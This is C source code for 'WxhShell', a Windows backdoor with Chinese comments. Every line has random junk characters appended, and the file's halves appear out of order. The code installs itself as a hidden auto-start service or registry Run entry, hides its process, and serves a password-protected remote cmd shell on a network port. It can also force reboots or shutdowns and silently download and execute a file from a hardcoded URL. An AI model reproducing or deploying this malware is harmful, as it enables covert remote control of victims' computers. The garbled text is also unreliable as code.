    if(Boot(SHUTDOWN)) ~\Hc,5G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EdlTdn@A  
    else { <kGU,@6PF  
    closesocket(wsh); 3QG7C{  
    ExitThread(0); K_RjX>q%N  
    } +89*)pk   
    break; 1guJG_;z  
    } `%+Wz0(K  
  // 获取shell Xs~[&  
  case 's': { T)H{  
    CmdShell(wsh); jz qyk^X  
    closesocket(wsh); %p2Sh)@M  
    ExitThread(0); y+"X~7EX  
    break; )iYxt:(,  
  } /H8g(  
  // 退出 H."EUcE{  
  case 'x': { d-k%{eBV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {]:7bV#JP  
    CloseIt(wsh); ti I.W  
    break; M luVx'  
    } :cF[(i/k4  
  // 离开 ^Wt*  
  case 'q': { xT   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .(^ ,z&  
    closesocket(wsh); f33l$pOp  
    WSACleanup(); - `p4-J!Fy  
    exit(1); ] Hztb  
    break; L*&p !  
        } :I+Gu*0WD  
  } xa<UM5eI  
  } n)^i/ nXb'  
[8T^@YN  
  // 提示信息 :9QZPsL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2zs73:z  
} G#d{,3Gq1  
  } Urr@a/7  
>pp5;h8!  
  return; "nw;NIp!  
} b[o"7^H  
6YGubH7%_  
// shell模块句柄 DXJ`oh  
int CmdShell(SOCKET sock) ll`>FcQ  
{ uBNn6j  
STARTUPINFO si; TU:7Df  
ZeroMemory(&si,sizeof(si)); ^eo|P~w g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 59"UL\3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3|'>`!hb  
PROCESS_INFORMATION ProcessInfo; X voo=  
char cmdline[]="cmd"; vgfcCcZ_iZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D-5VC9{  
  return 0; 0w&27wW  
} ki?S~'a  
tjdaaN#,V  
// 自身启动模式 L?WFm n  
int StartFromService(void) gG*X^Uo  
{ $5ak_@AC  
typedef struct P)Rh=U  
{ j g8fU  
  DWORD ExitStatus; d@XV:ae  
  DWORD PebBaseAddress; +n{#V;J  
  DWORD AffinityMask; gcdlT7F)b-  
  DWORD BasePriority; _qw?@478  
  ULONG UniqueProcessId; #xX5,r0  
  ULONG InheritedFromUniqueProcessId; B0dQ@Hq*  
}   PROCESS_BASIC_INFORMATION; a&c6.#E{y  
<{V(.=11  
PROCNTQSIP NtQueryInformationProcess; Mxyb5h  
glM$R&/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c'%-jG)\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SYCEQ5 -  
_B/ dWA,P  
  HANDLE             hProcess; >z%&xgOa  
  PROCESS_BASIC_INFORMATION pbi; f !I[>&n  
psg)*'r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >8WP0 Qx/  
  if(NULL == hInst ) return 0; ST:A<Da"  
IC1NKn<k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  @~!wDDS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8FKXSqhVM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zgNc4B  
zNxW'?0Z?  
  if (!NtQueryInformationProcess) return 0; '98VYCL  
kEOS{C%6R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "B3N* R(["  
  if(!hProcess) return 0; bdC8zDD  
mS(fgq6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UNom-  
Ta(Y:*Ri  
  CloseHandle(hProcess); S- pV_Ff  
K/i*w<aPb7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `6lr4Kk @R  
if(hProcess==NULL) return 0; V^3L3|k  
]x RM&=)<  
HMODULE hMod; \m(VdE  
char procName[255]; E"qRw_ ~t  
unsigned long cbNeeded; &cxRD  
Y9uC&/_C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $c]fPt"i  
D^l%{IG   
  CloseHandle(hProcess); ,z;cbsV-{  
gl\\+VyU  
if(strstr(procName,"services")) return 1; // 以服务启动 x3 q]I8q  
^@3sT,M,S  
  return 0; // 注册表启动 sz:g,}~h  
} fVF2-Rh=  
n>ULRgiT:o  
// 主模块 WY?[,_4U  
int StartWxhshell(LPSTR lpCmdLine) A mNW0.}  
{ #gRM i)(F  
  SOCKET wsl; l_o@miG/  
BOOL val=TRUE; }+.}J  
  int port=0; [x+FcXb  
  struct sockaddr_in door; K@I D/]PF  
#$18*?tLv|  
  if(wscfg.ws_autoins) Install(); cAY:AtD  
d:BG#\e]v  
port=atoi(lpCmdLine); Yw^m  
wSa)*]%  
if(port<=0) port=wscfg.ws_port; &dM. d!  
A#.edVj.g4  
  WSADATA data; ,K)_OVB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w_.F' E  
OGK}EI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,]9P{k]O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9oYgl1}d  
  door.sin_family = AF_INET; * @ 3Ag(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w,#>G07D  
  door.sin_port = htons(port); em,u(#)&  
"iy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fmU {  
closesocket(wsl); 8(pp2rlR  
return 1; a1EOJ^}0  
} &"yx<&c}  
y0sR6TY)f  
  if(listen(wsl,2) == INVALID_SOCKET) { \.MR""@y`{  
closesocket(wsl); `[f*Zv w  
return 1; L 6 c 40  
} ?9e_gV{&;  
  Wxhshell(wsl); O_ `VV*  
  WSACleanup(); } Yb[   
IpYM;tYw&  
return 0; pMw*9s X  
IwQ"eUnK  
} 4!Fo$9  
NjVYLn<.r  
// 以NT服务方式启动 FHj" nB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]<ldWL  
{ }AB, 8n`  
DWORD   status = 0; 4ezEW|S  
  DWORD   specificError = 0xfffffff; _ TiuY  
] eotc2?u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jyZ  (RB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bo2H]PL*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =bfJ^]R  
  serviceStatus.dwWin32ExitCode     = 0; 7%5z p|3  
  serviceStatus.dwServiceSpecificExitCode = 0; @$ne{2J3  
  serviceStatus.dwCheckPoint       = 0; kZR8a(4D  
  serviceStatus.dwWaitHint       = 0; HVi'eNgo  
pmuvg6@h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ksi</s  
  if (hServiceStatusHandle==0) return; KaPAa:Q  
|:nn>E}ZA/  
status = GetLastError(); cz >V8  
  if (status!=NO_ERROR) /)YNs7gR  
{ 8<X#f !  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B,?T%  
    serviceStatus.dwCheckPoint       = 0; %KsEB*' "  
    serviceStatus.dwWaitHint       = 0; m8A#~i .  
    serviceStatus.dwWin32ExitCode     = status; 6eLR2  
    serviceStatus.dwServiceSpecificExitCode = specificError; C[ NS kr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;D3C >7y  
    return; e|)hG8FlF  
  } CyJEY-  
NP0\i1P>.?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T$>WE= Y  
  serviceStatus.dwCheckPoint       = 0; 9]k @Q_  
  serviceStatus.dwWaitHint       = 0; }JF13beU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3 }duG/  
} \nXtH}9ZF  
/KFfU1  
// 处理NT服务事件,比如:启动、停止 SW H2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j_K4;k#r  
{ 2GP=&K/A  
switch(fdwControl) PC~Y8,A|.t  
{ bGN:=Y'  
case SERVICE_CONTROL_STOP: ^X=ar TE  
  serviceStatus.dwWin32ExitCode = 0; &*##bA"!B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <f ZyAa3}  
  serviceStatus.dwCheckPoint   = 0; ?^7t'`zk  
  serviceStatus.dwWaitHint     = 0; 2<i!{;u$qL  
  { '=39+*6?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@T8Iv=  
  } F}F&T  
  return; Lf16j*}-Q  
case SERVICE_CONTROL_PAUSE: sZjQ3*<-r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G? ])o5  
  break; t>L;kRujVJ  
case SERVICE_CONTROL_CONTINUE: FtpK)9/4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I4'5P}1yp  
  break; m,VOx7%n  
case SERVICE_CONTROL_INTERROGATE: = i$Fl{vH  
  break; X$HIVxyq2  
}; ( Z619w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yrb{ByO&  
} C].iCxn  
Q 8T]\6)m  
// 标准应用程序主函数 1#C4;3i,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b,5~b&<h  
{ (SWYOMo"  
x6BuF_.   
// 获取操作系统版本 YJ^] u}  
OsIsNt=GetOsVer(); bn#"?6Z2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zZ7;jyD  
b+%f+zz*h  
  // 从命令行安装 3_ r*y9l  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hkk/xNP  
CnU*Jb  
  // 下载执行文件 uW=k K0E  
if(wscfg.ws_downexe) { o m^0}$V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ]3x?  
  WinExec(wscfg.ws_filenam,SW_HIDE); \9cbI3rGz  
} HguT"%iv  
]_Vx{oT7  
if(!OsIsNt) { hW%TM3l}  
// 如果时win9x,隐藏进程并且设置为注册表启动 t#V!8EpBg  
HideProc(); y<?kzt  
StartWxhshell(lpCmdLine); 0g +7uGp:  
} l}a)ZeR1  
else Sxnpq Vbk  
  if(StartFromService()) n4s+>|\M  
  // 以服务方式启动 ./- 5R|fN  
  StartServiceCtrlDispatcher(DispatchTable); P9GN}GN%v  
else -C;^ 3R[ O  
  // 普通方式启动 m!gz3u]rN  
  StartWxhshell(lpCmdLine); wVX[)E\J  
:{PJI,  
return 0; aAZZ8V  
} }{,^@xdyW  
FTX=Wyr  
n3T>QgK  
<Q3oT  
=========================================== RU'=ERYC  
Pj[PIz  
Cw iKi^m  
1Lc#m`Jln  
6o!!=}'E[  
xmNB29#  
" -Y1e8H ='  
Z)e/ !~""]  
#include <stdio.h> c>,'Y)8   
#include <string.h> @GPCwE1  
#include <windows.h> t=(!\:[D  
#include <winsock2.h> Mz9 r5  
#include <winsvc.h> ?274uAO'  
#include <urlmon.h> ]jtK I4  
J}*,HT*  
#pragma comment (lib, "Ws2_32.lib") qaqBOHI6G  
#pragma comment (lib, "urlmon.lib") ]S&&|Fc  
i)o2klIkB  
#define MAX_USER   100 // 最大客户端连接数 ."TxX.&HE  
#define BUF_SOCK   200 // sock buffer J &o |QG  
#define KEY_BUFF   255 // 输入 buffer cW~}:;D4  
e h&IPU S  
#define REBOOT     0   // 重启 !SC`D])l  
#define SHUTDOWN   1   // 关机 bo,_&4?  
szb_*)k  
#define DEF_PORT   5000 // 监听端口 G|[=/>~B  
.\\DKh%  
#define REG_LEN     16   // 注册表键长度 _mzW'~9wN  
#define SVC_LEN     80   // NT服务名长度 O#n8=B4  
;PF`Wj  
// 从dll定义API jk"`Z<j~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 45=bGf#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r  [9x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n#/_Nz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rR$h*  
mH54ja2  
// wxhshell配置信息 5 z~1Dw  
struct WSCFG { __lM7LFL  
  int ws_port;         // 监听端口 jG6]A"pr  
  char ws_passstr[REG_LEN]; // 口令 H ;7(}:.  
  int ws_autoins;       // 安装标记, 1=yes 0=no @D)al^]x6  
  char ws_regname[REG_LEN]; // 注册表键名 =4vy@7/  
  char ws_svcname[REG_LEN]; // 服务名 Qwz}B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~< P 0]ju  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \(~y?l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v:EB*3n5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]O Z5 fd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *w$W2I>b7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w:??h4lt  
NWP5If|'X  
}; LnFdhrB@x  
7WZrSC  
// default Wxhshell configuration B5gj_^  
struct WSCFG wscfg={DEF_PORT, LZ\q3 7UV  
    "xuhuanlingzhe", }xKP~h'F  
    1, ,368d9,rDz  
    "Wxhshell", fr,7rS/w{l  
    "Wxhshell", \Lq h j  
            "WxhShell Service", /;{P}-H`ei  
    "Wrsky Windows CmdShell Service", g(nPQOs$u  
    "Please Input Your Password: ", 9Q -HeXvR  
  1, 8{Q<N%Jnu  
  "http://www.wrsky.com/wxhshell.exe", E^Y#&skXp3  
  "Wxhshell.exe" #:%&x@@c3P  
    }; > pgX^  
jy7\+i  
// 消息定义模块 MtM%{=&_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y9_V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O7u(}$D L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]~844J p  
char *msg_ws_ext="\n\rExit."; ioa U*%  
char *msg_ws_end="\n\rQuit."; OHv[#xGuV?  
char *msg_ws_boot="\n\rReboot..."; 1ofKt=|=  
char *msg_ws_poff="\n\rShutdown..."; |o,YCzy|5  
char *msg_ws_down="\n\rSave to "; SD#]$v  
K*\' .~[6  
char *msg_ws_err="\n\rErr!"; KTK <gV9:  
char *msg_ws_ok="\n\rOK!"; J%8(kWQ|  
Us%T;gW  
char ExeFile[MAX_PATH]; g6nkZyw  
int nUser = 0; K7$x<5+)  
HANDLE handles[MAX_USER]; k2E0/ @f{k  
int OsIsNt; zFfoqb#*g  
5&xB6|k  
SERVICE_STATUS       serviceStatus; t4{rb, }W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &6DMk-  
(VS5V31"  
// 函数声明 ?xK8#  
int Install(void); mCRt8 rY;  
int Uninstall(void); ?m![Pg%  
int DownloadFile(char *sURL, SOCKET wsh); PxF <\pu&  
int Boot(int flag); >AC]#'  
void HideProc(void); "X2Vrn'  
int GetOsVer(void); :s=NUw_^  
int Wxhshell(SOCKET wsl); V zBqjE_  
void TalkWithClient(void *cs); , l%C X.9  
int CmdShell(SOCKET sock); AUeu1(  
int StartFromService(void); rMXN[,|v  
int StartWxhshell(LPSTR lpCmdLine); Z/Eb:  
<wZQc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tM2)k+fg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JROM_>mC  
+nUy,S?43  
// 数据结构和表定义 m[i+knYX  
SERVICE_TABLE_ENTRY DispatchTable[] = 8m5p_\&  
{ P D4Tz!F  
{wscfg.ws_svcname, NTServiceMain}, QFfK0X8cC  
{NULL, NULL} NHB4y/2  
}; W egtyO  
#btLa\HJ  
// 自我安装 UYFwS/ RW}  
int Install(void) U0=]  
{ U93}-){m  
  char svExeFile[MAX_PATH]; _\=`6`b)  
  HKEY key; Gn&-X]Rrl  
  strcpy(svExeFile,ExeFile); uC.K<jD%  
-g)9R%>-  
// 如果是win9x系统,修改注册表设为自启动 jQk*8   
if(!OsIsNt) { pqUCqo!m\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `J]fcE%T0R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ K|;~}P  
  RegCloseKey(key); za#s/b$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "mX\&%i6\p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~SQ?BoCI[  
  RegCloseKey(key); N03G>fZ  
  return 0; R,)}>X|<  
    } Xm+8  
  } '[J<=2&  
} qNI, 62  
else { rxr{/8%f%  
ur*T%b9&  
// 如果是NT以上系统,安装为系统服务 m#ZO`W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +$X#q8j06  
if (schSCManager!=0) A3vUPWdDk  
{ 1<+2kBuY  
  SC_HANDLE schService = CreateService kR]!Vr*yh  
  ( ?!wgH9?8  
  schSCManager, 'jmTXWq*  
  wscfg.ws_svcname, "dsU>3u  
  wscfg.ws_svcdisp, W-Fu-Cz=  
  SERVICE_ALL_ACCESS, ZPc@Zr`z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wf>zDW^"R  
  SERVICE_AUTO_START, lJ+0P2@h*  
  SERVICE_ERROR_NORMAL, x8!ol2\`<  
  svExeFile, ^BUYjq%(`  
  NULL, c;{Q,"9U  
  NULL, \2nUa ;  
  NULL, Q F-LU  
  NULL, UUF ;p2{f  
  NULL ub7zA!%  
  ); Q s.pGi0W  
  if (schService!=0) [(o7$i29|%  
  { h\7fp.  
  CloseServiceHandle(schService); cKN$ =gd  
  CloseServiceHandle(schSCManager); ex+\nD>t4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GFfq+=se  
  strcat(svExeFile,wscfg.ws_svcname); o]Ol8I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D,;\o7V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wtmB+:I  
  RegCloseKey(key); !icT/5  
  return 0; iZPCNS"  
    } V~S0hqW[  
  } 0OT\"O~S[  
  CloseServiceHandle(schSCManager); aaKN^fi&  
} HQ|MhM/"  
} klQC2drS  
iS&l8@2a  
return 1; m~@;~7Ix  
} ?s\ OUr  
3ia^\ jw  
// 自我卸载 # S}Z8  
int Uninstall(void) [~kdPk  
{ 48jVRo  
  HKEY key; ikSF)r;*t  
"8 ~:[G#  
if(!OsIsNt) { Glxuz0]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N;Dni#tQ`  
  RegDeleteValue(key,wscfg.ws_regname); z^_*&  
  RegCloseKey(key); zS\E/.X2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n8uv#DsdK  
  RegDeleteValue(key,wscfg.ws_regname); I&MY{f  
  RegCloseKey(key); a\IP12F?  
  return 0; a^Tm u  
  } |fxA|/ s[<  
} 0q.Ujm=,z  
} vohoLeJTj  
else { YFE&r  
5nTY ?<x`k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *?y+e  
if (schSCManager!=0) /EibEd\  
{ smdZxFl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NB\{'  
  if (schService!=0) !:|TdYrmj  
  { lZyG)0t,g  
  if(DeleteService(schService)!=0) { E Q4KV  
  CloseServiceHandle(schService); &LF` W  
  CloseServiceHandle(schSCManager); #O$  
  return 0; AX?fuDLs  
  } I8+~ &V}  
  CloseServiceHandle(schService); [cTe54n  
  } HS{(v;  
  CloseServiceHandle(schSCManager); *+TH#EL2  
} } X^|$  
} "jTKSgv+q5  
nL$x|}XAcj  
return 1; :ml2.vP  
} 56e r`=ms  
~/8M 3k/  
// 从指定url下载文件 4(Ov1a>  
int DownloadFile(char *sURL, SOCKET wsh) `W dD8E  
{ 5k6mmiaKk  
  HRESULT hr; < 'f dkW  
char seps[]= "/"; &;XAuDw4+i  
char *token; >w-;Z>3Q@  
char *file; j. *VJazb;  
char myURL[MAX_PATH]; KhCzD[tf  
char myFILE[MAX_PATH]; >*-FV{{  
lc2i`MC  
strcpy(myURL,sURL); Z4A!U~  
  token=strtok(myURL,seps); [q_`X~3  
  while(token!=NULL)  vj51 g@  
  { Tneq6>  
    file=token; JC}f-%H?K  
  token=strtok(NULL,seps); :(a]V"(&Eq  
  } e1>aTu@  
! iptT(2  
GetCurrentDirectory(MAX_PATH,myFILE); %V1Z~HC  
strcat(myFILE, "\\"); P6 ;'Sza  
strcat(myFILE, file); Di@GY!  
  send(wsh,myFILE,strlen(myFILE),0); N[<H7_/3  
send(wsh,"...",3,0); r'dr9"-{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "p/j; 6H  
  if(hr==S_OK) lz?;#U  
return 0; &?uz`pv2  
else HQUeWCN  
return 1; .s<*'B7&  
`+zWu 55;  
} >iOzl wmG  
/0W9g  
// 系统电源模块 @*0cMO;SpG  
int Boot(int flag) :9R=]#uD  
{ HJ2*y|u  
  HANDLE hToken; 21ppSN >  
  TOKEN_PRIVILEGES tkp; cooUE<a  
 6\u!E~zy  
  if(OsIsNt) { h)6GaJ=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *\wp?s>-t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d{3@h+zL  
    tkp.PrivilegeCount = 1; '8 fk+>M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $`8Ar,Xz`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E,wVe[0)f  
if(flag==REBOOT) { ZT[3aXS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5aBAr  
  return 0; A%Xt|=^_  
} Yz4_vePh+5  
else { Ul_M3"Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9U {y1}  
  return 0; \":?xh_H  
} d\H&dkpH  
  } gP-nluq  
  else { 6vp *9  
if(flag==REBOOT) { ]l@ qra  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q;fKcblKj  
  return 0; l"{Sm6:;-  
} X*g(q0N<S  
else { a8dXH5_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rrnNn'  
  return 0; u>Rb ?`  
} ]Ni;w]KE  
} `/"nTB  
jYVE8Y)my  
return 1; |+:h|UIUQ  
} ( =16PYs  
y8s!M  
// win9x进程隐藏模块 SR^_cpZoi  
void HideProc(void) kF{*(r=.o  
{ &(z fa&j|  
E"%2)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aYn8 ^  
  if ( hKernel != NULL ) 4J|t?]ij|E  
  { YC=S5;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T# lP!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WKpA|  
    FreeLibrary(hKernel); B_ja&) !s1  
  } .}k(L4T|=  
nx:KoB"ny  
return; ZUp\Ep}  
} Y4F6qyP)"  
1[E#vdbT  
// 获取操作系统版本 4Hb $0l  
int GetOsVer(void) <]Wlx`=/D  
{ _ 1*7Z=|  
  OSVERSIONINFO winfo; 1`LXz3uBe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vvt  ;  
  GetVersionEx(&winfo); Kzb`$CGK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R0;ef D  
  return 1; x1gx$P  
  else 6*nAo8gl  
  return 0; HPQ/~0$  
} sp QLG_o,J  
G ){g  
// 客户端句柄模块 h{}mBQl  
int Wxhshell(SOCKET wsl) Fl{WAg  
{ '4OcZ/oI  
  SOCKET wsh; #fs|BV !  
  struct sockaddr_in client; b@t5`Y-+K  
  DWORD myID; IN7<@OS7  
xU S]P)R  
  while(nUser<MAX_USER) (X+s-4%  
{ m ,>  
  int nSize=sizeof(client); p<`+sf}A:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3+xy4 G@L  
  if(wsh==INVALID_SOCKET) return 1; r]P,9  
$ P: O/O=>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ukuo:P<a  
if(handles[nUser]==0) Jqr)V2Y  
  closesocket(wsh); _M,lQ~  
else ~%ozgzr^  
  nUser++; U>S`k6  
  } "R9Yb,tIN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D);'pKl  
PzZZ>7_6S  
  return 0; Y&*x4&Lb  
} i3mAfDF  
2UP,Tgn..  
// 关闭 socket V% CUMH =U  
void CloseIt(SOCKET wsh) ^1jk$$f  
{ R4e&^tI@*  
closesocket(wsh); 8[bkHfI  
nUser--; DF1<JdO+  
ExitThread(0); LS.r%:$mb  
} K(T\9J.  
 m@rSz  
// 客户端请求句柄 Ep~wWQh  
void TalkWithClient(void *cs) ~2uh'e3  
{ U5/qf8)yO  
Qbeeq6  
  SOCKET wsh=(SOCKET)cs; zz_[S{v!#  
  char pwd[SVC_LEN]; "DSPPE&[c  
  char cmd[KEY_BUFF]; 5V-jMB  
char chr[1]; $R^AEa7  
int i,j; 59rY[&|  
o%y;(|4t >  
  while (nUser < MAX_USER) { V+Xl9v4O  
r;iV$Rq !  
if(wscfg.ws_passstr) { *(GZ^QH.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0O2n/`'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sI 4yG  
  //ZeroMemory(pwd,KEY_BUFF); U!e6FHj7  
      i=0; 2L\3S ukj  
  while(i<SVC_LEN) { MZ#T^Y  
\ Aq;Q?  
  // 设置超时 N<JHjq  
  fd_set FdRead; vz`@x45K  
  struct timeval TimeOut; 59B&2861  
  FD_ZERO(&FdRead); tkuc/Z/@  
  FD_SET(wsh,&FdRead); 8 #oR/Nt  
  TimeOut.tv_sec=8; #Ogt(5Sd  
  TimeOut.tv_usec=0; $zkH|] zZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Erb Sl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,#'7)M D8  
;RN8\re  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m-1?\bs  
  pwd=chr[0]; _MYx%Z  
  if(chr[0]==0xd || chr[0]==0xa) { FUeq \Wuo  
  pwd=0; *+lsZ8'^C  
  break; gs`^~iD]m  
  } ~%y\@x7I  
  i++; Ff"gadRXd  
    } i (HByI  
h(xP_Svj>  
  // 如果是非法用户,关闭 socket IlLn4Iw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <>4!XPo%J  
} ;R[&pDx  
"S(X[Y'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OM9 6`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'M'w,sID  
K5 vNhA  
while(1) { f\ "`7  
l+ T, 2sd  
  ZeroMemory(cmd,KEY_BUFF); s3lJu/Xe{  
V,QwN&  
      // 自动支持客户端 telnet标准   WOndE=(V  
  j=0; RfbdBsL  
  while(j<KEY_BUFF) { v@T'7?s.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]b[,LwB\`~  
  cmd[j]=chr[0]; rm+v(&  
  if(chr[0]==0xa || chr[0]==0xd) { (:$9%,x  
  cmd[j]=0; EI`vVI  
  break; 3-Y=EH_0  
  } Sa]Ek*  
  j++; V 4qtaHf  
    } 5RA<Z.  
o+)A'S  
  // 下载文件 eihZp  
  if(strstr(cmd,"http://")) { ySruAkw%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (5Ky6b9v  
  if(DownloadFile(cmd,wsh)) r7X D&Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3sC: jIp  
  else kfpm=dKL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e`DsP8-&v  
  } :QA@ c|(PF  
  else { b:x7)$(  
}|He?[TR  
